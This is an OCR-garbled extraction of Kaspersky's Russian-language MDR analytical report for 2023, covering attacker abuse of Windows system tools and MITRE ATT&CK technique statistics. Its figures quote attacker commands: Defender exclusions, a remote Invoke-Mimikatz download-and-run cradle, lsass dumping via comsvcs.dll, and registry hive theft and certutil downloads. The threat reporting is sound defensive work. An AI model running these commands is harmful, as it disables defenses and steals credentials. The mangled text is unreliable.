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https://content.kaspersky-labs.com/se/media/ru/business-security/kaspersky-mdr-analyst-report-2021-ru.pdf
https://content.kaspersky-labs.com/se/media/ru/business-security/Analytical%20Report%20Kaspersky%20MDR_RU.pdf
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https://www.kaspersky.ru/enterprise-security/security-assessment
https://lolbas-project.github.io/
https://www.kaspersky.ru/enterprise-security/managed-detection-and-response
https://attack.mitre.org/
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https://encyclopedia.kaspersky.ru/glossary/malware-as-a-service-maas/
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https://learn.microsoft.com/ru-ru/security-updates/securitybulletins/2017/ms17-010
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https://attack.mitre.org/tactics/enterprise/



https://www.kaspersky.ru/blog/supply-chain-attack-on-3cx/34955/
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https://lolbas-project.github.io/

v npolienypsl
3710y MbILIEHHKOB

PowerShell, 6yayun MHOrodyHKLIMOHaIBHOM CTaHOapTHOM 06onoYkon Windows, MCnob3yeTcs BO MHOXECTBE
CLIEHapUEB, MPVIBEAEM HEKOTOPbIE U3 HUIX:

+ 3anyck BpeaoHOCHOrO KOHTEHTa C NomnblTKamy ero ob6gdyckaLmm

3anyck 06¢ycunpoBaHHOIO BPeAOHOCHOIO KOHTEHTA
c nomoLuubio PowerShell

PucyHok 2

+ OTKIIOYEHWE CUCTEM BE30MACHOCTY UM USMEHEHWE VX KOHPUTYpaLIIA

PucyHok 3 CospaHue ncknroueHna Windows Defender ¢ nomowbio PowerShell

Powershell -nologo —nonir{teractive -windowStyle hidden -noprofile -command Add-MpPreference -ExclusionPath 'C:\Program FiIes\RSPWr@pper' -Force; Add—M;;F‘reference -ExclusionPath C:\Progra
mData\RealtekHD\taskhost.exe -Force; Add-MpPreference -ExclusionPath C:\ProgramData\WindowsTask\audiodg.exe -Force; Add-MpPreference:-ExclusionPath C:\ProgramData\WindowsTask\AppMo
dule.exe -Force; Add-MpPreference -ExclusionPath C-\ProgramData -Force; Add-MpPreference -ExclusionPath C: \ProgramData\ReaItekHD\taskhostw exe -Force; Add-MpPreference -ExclusionPath
C:\Windows\SysWowé4\unsecapp.exe -Force; Add-MpPreference -ExclusionPath C: \ProgramData\WlndowsTask\AMD exe -Force; regadd. HKLM\Software\PoJlues\M|crosoft\W|ndows Defender\Echu ¢
sions\Processes /v C: \ProgramData\ReaItekHD\taskhostwexe /t REG_DWORD /d O /f & =

* ﬂpm MCMNoJib30BaHNV TOTOBbIX MHCTPYMEHTOB

PucyHok 4 Ncnonb3osaHne PowerShell-peanusaunn Mimikatz

:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "iex (new-object system.net. webcllent) downloadstring(*http://. ’/byp.pst’); start-sleep -s 5; iex (New-Object Net.WebClient)

DownloadString(‘http://: '/Invoke-Mimikatz.ps1');Invoke-Mimikatz -Command " "privilege::debug sekurlsa::logonpasswords Isadump :sam exit' >> C:\Windows xt"

Hepenko BpeaoHOCHbIE KOMMOHEHThI Pean3oBaHbl B BUAE ONHAMUYECKMX BUBINOTEK, YTO OOBICHIET
nonyngpHocTb rundll32:

PucyHok 5 Ncnonb3oBaHue rundll32 gnga gocTtyna K namaTtu Isass

%COMSPEC% /Q Jc cmd eXe /Q /c 1’or /f "tokens—] 2 delims=" "‘VA in ("'taskllst /fi "Imagename eq ]sass exe" | find "Isass""') do rundll:’>2 exe C! \wmdows\SystemSZ\comsvcs dll, #+0000"24 "%B

\Wmdows\Temp\ Lrtffull * |
€ - % 1%

Managed Detection and Response | AHanuTuueckunii otyeT 3a 2023 rog,




v npolienypsl
3710y MBbILEHHKOB

3meHeHWe KoHbUrypaumm NoAcUcTEM 6€30MacHOCTV U AOCTYM K TOKasbHbIM ay TEHTUMVKAUMOHHBIM AaHHbIM
4aCTO UCMOSBb3YIOTCS aTaKyHOLLVMM C MOMOLLBIO LUTaTHOW Y TUANTbI reg.exe:

net user Administrator /active:yes
g add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1/F

‘i'eg ;sa\)e hklm\samrc:\}emp\samdump ;
reg save hkim\system c:\temp\security.dump

Vicnonb3oBaHue reg ona mogundukaunm peecTpa C Lesbio
oTkitoueHns UAC

Wcnonb3oBaHue reg ons [ocTyna K ay TEHTUPUKaLMOHHbBIM
AaHHbIM B peecTpe

.. reg save hkim\security c:\temp\security.dump

B MPOLWJIOM roay, Kak 1 B npenblayLiem, HabMtoaaNUCh UHLMAEHTHI C UCronb3oBaHemMm comsves.dlli?® —
HECMOTPHA Ha TO YTO TEXHMKa HE HOBa:

Ncnonb3oBaHme comsvces.dll pna goctyna Kk namsaTtu Isass

certutil.exe?, ICNOMb30BaHME KOTOPOrO Y>Ke TPYAHO NPONyCTUTb, MO-NPEXHEMY NONynsdpeH cpeam
aTaKyoLUX:

Ncnonb3oBaHue certutil ong ckaunBaHnsa MHCTPYMEHTOB
Ha CKOMMNPOMETNPOBAHHbIN XOCT

R SR S Y

e

md.exe /Q /c certutil.exe -urlcache -split -f "http://*

YacTo BpeaoHOCHbIe Harpyakin?? ong cneaytoLlumx ctaguii nocne atana TAOOO1T: NepBoHavanbHbI [OCTYyN
peann3ytoTcs B Buae MSl-nakeTta — aTM O6BIACHIETCS MONYNFPHOCTL Msiexec.exe? B LeNOM 1 B KPUTUYHBIX
VNHUMOEHTaX B YaCTHOCTW.

OcobeHHocTbio 2023 roga MOXHO Ha3BaTb NMPWCY TCTBUE B Criicke msedge.exe?!, C NpakTUYeCky OAMHAKOBOWM
4aCTOTOW KaK cpean MHUMAEHTOB UCKIIOUNTENBHO BICOKOM KPUTUYHOCTW, TaK 1 BOOBLLIE CPEAN BCEX
VNHUMOEHTOB. 9TO CBUOETENBCTBYET O CPABHUTENBHO BOMBLLOWN AONE UHLIMAEHTOB, CBA3aHHbIX C MEPEXOAOM
nonb3oBaTene No GULLMHI-CChIIKaM, @ Tak>Xe ¢ BO3pOocCLUM B 2023 rogy Konn4ecTBoM atak Tvna Drive-by
download.

20 Comsves.dll 21 Certutil.exe 22 Hanpuwmep, 23 Msiexec.exe 24 Msedge.exe
MSF Meterpreter unn
CobaltStrike beacon

{
Managed Detection and Response | AHanuTtunueckunii otyeT 3a 2023 rog, ‘


https://lolbas-project.github.io/lolbas/Libraries/comsvcs/
https://lolbas-project.github.io/lolbas/Binaries/Msiexec/
https://lolbas-project.github.io/lolbas/Binaries/Certutil/
https://lolbas-project.github.io/lolbas/Binaries/Msedge/
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Ob6wuin Bknag ~ 53%

Cpearsis koHeepcus ~ 23%

oborawieHune

+ CeTeBble HaCTPOIIKN XOCTOB B MOHUTOPUVHre

¢ PenyTaunsa daina/cueHapusi/poKymeHTa

27


https://www.kaspersky.com/enterprise-security/wiki-section/products/multi-layered-approach-to-security
https://www.kaspersky.ru/file-reputation

oborawieHne

¢ BepaukTbl N0 06BEKTY OT APYrNX NPOAYKTOB

¢ PenyTaums xocTa, Ha KOTOPOM BbISIBIEHO
nogknioyeHne

¢ PenyTtauns URL

¢ PenyTtauusa URL n/unm cainta

¢ KoHourypauns npogykTta
¢ Cnucok KpUTNYHbIX CEPBEPOB

¢ KoHourypauns npogykTta

28



O6WwuI Bknag ~ 21%

Cpearsisi korsepcus ~ 47%
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T1036: Masquerading

T1059: Command and Scripting Interpreter

T1071: Application Layer Protocol

T1078: Valid Accounts

T1091: Replication Through Removable Media

TNO05: Ingress Tool Transfer

TIMO: Brute Force

T1189: Drive-by Compromise

T1190: Exploit Public-Facing Application

T1195: Supply Chain Compromise

1,74%

1,69%

9,32%

1,18%

1,13%

1,08%

2,51%

1,95%

1,27%

1,79%

T1204: User Execution

T1210: Exploitation of Remote Services

T1534: Internal Spearphishing

T1553: Subvert Trust Controls

T1566: Phishing

T1568: Dynamic Resolution

T1598: Phishing for Information

T1003: OS Credential Dumping

T1007: System Service Discovery

13,32%

4,00%

2,15%

1,54%

99.33%

5,79%

2,15%

4,56%

1,43%

T1016: System Network Configuration
Discovery

T1021: Remote Services

T1027: Obfuscated Files or Information

T1033: System Owner/User Discover

T1036: Masquerading

T1047: Windows Management
Instrumentation

T1049: System Network Connections
Discovery

T1053: Scheduled Task/Job

T1055: Process Injection

T1059: Command and Scripting Interpreter

T1069: Permission Groups Discovery

T1070: Indicator Removal

T1071: Application Layer Protocol

T1082: System Information Discovery

T1087: Account Discovery

T1098: Account Manipulation

T105: Ingress Tool Transfer

T112: Modify Registry

1,43%

9.94%

3,33%

2,36%

6,05%

3,59%

2,10%

5,84%

1,69%

21,36%

2,00%

118%

21,82%

2,20%

3,38%

1,23%

4,00%

2,05%
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T1559: Inter-Process Communication 118%

T1561: Disk Wipe 1,08%
T1564: Hide Artifacts 1,64% T1078: Valid Accounts 25,82%
T1565: Data Manipulation 2,82%
T1087: Account Discovery 6,56%
T1568: Dynamic Resolution 3,64%
T1569: System Services 7.79%
T1570: Lateral Tool Transfer 1,18% T1098: Account Manipulation 87,50%
TM2: Modify Registry 2,05%
T1574: Hijack Execution Flow 2,31%
T1204: User Execution 60.09% T1587: Develop Capabilities 1,33%
T1210: Exploitation of Remote Services 1,54%
T1218: System Binary Proxy Execution 5,43%
T1620: Reflective Code Loading 1,02%
T1003: OS Credential Dumping 4,66%
T1012: Query Registry 1,23%
T1496: Resource Hijacking 2,00%
T1021: Remote Services 36,83%
T1496: Resource Hijacking 1,64%
T1505: Server Software Component 6,81%
T1036: Masquerading 6,45%
T1543: Create or Modify System Process 2,56%
T1546: Event Triggered Execution 2,36%
T1543: Create or Modify System Process 2,00%
T1547: Boot or Logon Autostart Execution 7.89%
T1546: Event Triggered Execution 7,48%
T1547: Boot or Logon Autostart Execution 9.43%
T1562: Unsecured Credentials 1,33%
T1053: Scheduled Task/Job 2,51%
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T1564: Hide Artifacts 2,10%

T1003: OS Credential Dumping 2,05%
T1574: Hijack Execution Flow 1,13%
T1036: Masquerading 1,84%
T1562: Impair Defenses 2,77%
T1620: Reflective Code Loading 1,02%
T1070: Indicator Removal 1,64%
T1068: Exploitation for Privilege Escalation 1,02%
T1078: Valid A« t 22,69%
alid Accounts T1003: OS Credential Dumping 39.91%
T1098: Account Manipulation 21,98%
. ; o
T1207: Rogue Domain Controller 1,64% T1021: Remote Services 246%

T1548: Abuse Elevation Control Mechanism 1,18%
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T110: Brute Force 35,66%

T1552: Unsecured Credentials 2,20%
T1552: Unsecured Credentials 2,20%
T1555: Credentials from Password Stores 2,61% T1071: Application Layer Protocol 18,60%
T1558: Steal or Forge Kerberos Tickets 1,69% T1095: Non-Application Layer Protocol 3,33%
T1021: Remote Services 14,.96%
T1568: Dynamic Resolution 2,72%
T1210: Exploitation of Remote Services 100%
T1572: Protocol Tunneling 1,28%
T1021: Remote Services 1,02%
T1204: User Execution 7.99%
. ; )
T1046: Network Service Discovery 1,64% T1485: Data Destruction 2,36%
T1486: Data Encrypted for Impact 2,66%
T1496: Resource Hijacking 3,18%
T1049: System Network Connections
) 1,23%
Discovery
T1561: Disk Wipe 517%
T1565: Data Manipulation 8,20%
T113: Screen Capture 1,28%
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T1003: OS Credential Dumping

T1018: Remote System Discovery

T1021: Remote Services

T1036: Masquerading

T1053: Scheduled Task/Job

T1055: Process Injection

T1059: Command and Scripting Interpreter

T1069: Permission Groups Discovery

T1071: Application Layer Protocol

T1087: Account Discovery

3,89%

1,74%

4,41%

1,69%

1,74%

5,53%

3,18%

2,20%

2,66%

2,61%

T1204: User Execution

T1210: Exploitation of Remote Services

T1482: Domain Trust Discovery

T1496: Resource Hijacking

T1505: Server Software Component

T1547: Boot or Logon Autostart Execution

T1555: Credentials from Password Stores

T1561: Disk Wipe

T1565: Data Manipulation

T1566: Phishing

20,18%

3,13%

1,69%

1,43%

1,64%

2,25%

2,00%

1,23%

4,76%

1,08%

T1569: System Services

T1574: Hijack Execution Flow

T1587: Develop Capabilities

T1588: Obtain Capabilities

T1608: Stage Capabilities
T1615: Group Policy Discovery

T1620: Reflective Code Loading

T1046: Network Service Discovery

T1071: Application Layer Protocol

T1204: User Execution

T1566: Phishing

T1568: Dynamic Resolution

T1595: Active Scanning

T1598: Phishing for Information

3,38%

1,33%

45,08%

43,49%

6,10%
1,69%

2,20%

3,38%

3,23%

3,69%

3,84%

1,84%

10,35%

3.74%
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O koMmnaHun

«JlabopaTopus Kacnepckoro» — MexayHapoaHas KoMnaHus,
paboTatoLlas B chepe MHOOopMaLOHHOM Be3onacHocTy ¢ 1997 roga.
[ny6oKne SKCNepTHbIE 3HaHWS 1 MHOMONETHUM OMbIT KOMMNaHU
nexaT B OCHOBE 3aLUMTHBIX PELLEHUI 1 CEPBNCOB HOBOIO MOKONEHNS,
obecneyurBaloLLyIx 6€30MaCHOCTb BU3HECA, KPUTUYECKM BaXKHbIX

NHPPACTPYKTYP, FOCYOaPCTBEHHbIX OPraHOB 1 PAA0BbIX MOb30BATENEN.

O6LwunpHoe nopTtdonmo «JlabopaTopun Kacrnepckoro» BktoUaeT B ceb4
nepenoBble NPOAYKThI AN 3aLLUMTbI KOHEYHBIX YCTPOVCTB, @ TakXXe P[]
crneumann3npoBaHHbIX PELLEHN 1 CePBUCOB A1 6OPbObI CO CNOXHBLIMU
N MOCTOSIHHO 3BOSIOLMOHPY LM KNBEpYrpo3amiA.

CepBucChl KN6epbesonacHOCTH

Kaspersky
Managed Detection
and Response

Kaspersky
Incident Response

Kaspersky \ Kaspersky
Compromise Digital Footprint
Assessment Intelligence
g:‘s:ﬁ?i@ky Kaspersky
SOC Consulting
Assessment

MexxayHapogHoe npusHaHue

«JTabopaTopuga KacnepcKkoro» akTMBHO Y4aCTBYET B HE3aBVCMbIX
TECTUPOBAHNSX 1 B3aIMOAENCTBYET C BEAY LMY aHaNNTUYECKMIN
areHTCcTBaMu. Hally TEXHONOrY MpU3HaHbl BO BCEM MUPE 11 YOOCTOEHD
MHOFOUCAEHHbBIX MEXOYHaPOOHbIX Harpan 1 MpU3HaHuIA.

‘ Mompo6Hee i

Managed Detection and Response | AHanuTunyeckuin otueT 3a 2023 rog,

O KoMmaHuh

5000+

KBaMULMPOBaHHbIX
crneumanMcToB paboTatoT
B KOMMaHnm

50%
COTPYOHNKOB —
3170 RnD-cneupanmcTsl

5

YHUKabHbIX LEHTPOB
3KCMEepTN3bI

410 TbiC +
BPELOHOCHbBIX OO HEKTOB
Mbl OBHapyK1Baem
KaXXabl OeHb

220 TbIC +

KOMMaHW1in No BCeMy
MUPY Mbl 0beperaem
OT Knbepyrpo3a

6,1 mnpn

KnbepaTak 6bi110
BbISBIEHO HALLUMM
peleHsamMm B 2023 rony


https://www.kaspersky.ru/about/awards






